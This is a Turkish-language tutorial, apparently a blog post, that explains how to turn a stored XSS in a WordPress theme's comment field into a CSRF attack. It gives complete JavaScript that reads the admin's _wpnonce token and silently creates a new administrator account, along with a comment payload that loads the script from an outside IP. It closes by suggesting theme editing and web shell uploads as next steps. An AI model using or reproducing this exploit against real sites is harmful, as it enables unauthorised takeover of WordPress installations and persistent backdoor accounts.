Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım.
Wordpress üzerindeki basit bir xss'i csrf ye dönüştürüp yeni bir
yönetici eklemeyi göstereceğim.
CSRF - CROSS SITE REQUEST FORGERY
(Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)
Bildiğiniz gibi wordpress'in csrf saldırılarına önlem olarak kullanıcı
için oluşturduğu bir token vardır ve bu token'in sayfadaki input id'si
_wpnonce'tur.
Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez.
Biz saldırıda wpnonce token'ını javascript ile alıp kendi post'umuzu yöneticinin haberi olmadan göndereceğiz.
Bu istek normal şartlar altında SOP önleminden dolayı
yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız.
Bu sayede SOP önlemini bypasslamış olacağız.
Bunun için XmlHttpRequest'i kullanacağız.
(XmlHttpRequest same-origin policy'dan dolayı sadece aynı domaine istek gönderir.)
site = "http://localhost/wordpress";
kadi="lulz";
sifre="lulz";
eposta="lulz@lulz.com";
xhr = new XMLHttpRequest();
xhr.open("GET",site + "/wp-admin/user-new.php",true);
xhr.onreadystatechange=function() {
if (xhr.readyState==4) {
response=xhr.responseText;
wtoken=response.split('hidden" id="_wpnonce')[1];
wtoken=wtoken.split('"')[4];
xhr.open("POST", site + "/wp-admin/user-new.php",true);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
verigonder="action=createuser&_wpnonce_create-user=" + wtoken + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login="+ kadi + "&first_name=&last_name=&email=" +
eposta + "&url=&pass1=" + sifre + "&pass1-text=" + sifre + "&pass2=" + sifre + "&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User"
xhr.setRequestHeader("Content-Length",verigonder.length);
xhr.send(verigonder);
}
}
xhr.send(null);
Kodumuz şu şekilde çalışıyor
site, kadi, sifre, eposta şeklinde değerler tanımladık kod çalışmaya başladığı zaman şunlar gerçekleşir;
- Wordpress yönetim paneline get gönderir
- O anki yöneticinin _wpnonce(token değerini inputtan alır)
- Ardından post işlemi yani yönetici ekleme işlemini başlatır.
Şimdi wordpress temasının yorum kısmındaki stored xss'imize bakalım
<h1> deniyorum;
Sonuç Başarılı;
Şimdi sıra geldi javascript kodumuzu src ile buraya çekmeye.
Js yi çektikten sonra admin yorumu okur okumaz direk olarak panele lulz adında yönetici oluşturacak.
- <script src=//ip/ekle.js></script>
Yorumu gönderiyoruz;
Yönetici yorumu okuduğu zaman direk lulz adında bir admin ekleyecek.
Tabi
yönetici eklemek sadece bir örnek. Daha ileri saldırılar düzenleyip
doğrudan temayı da editleyebilirsiniz. Hatta plugin içerisinde web shell
bile yükletebilirsiniz. JS ile doğrudan raw http istekleri
yaptırabilirsiniz. Buna multipart-form-data da dahil.
XSS ile yapılabilecek saldırılarda Cookie çalmaktan sonraki bir
üst seviye saldırılar bu şekilde yapılabilir. Aynı zamanda httpOnly
cookie türlerinden dolayı Cookie çalınamayan durumlarda bu tarz
saldırılar düzenlenebilir. Tabi erişim izniniz olmayan (ip filtreli vs.)
sayfalarda da bu saldırı geçerli olacaktır.
Yorum Gönder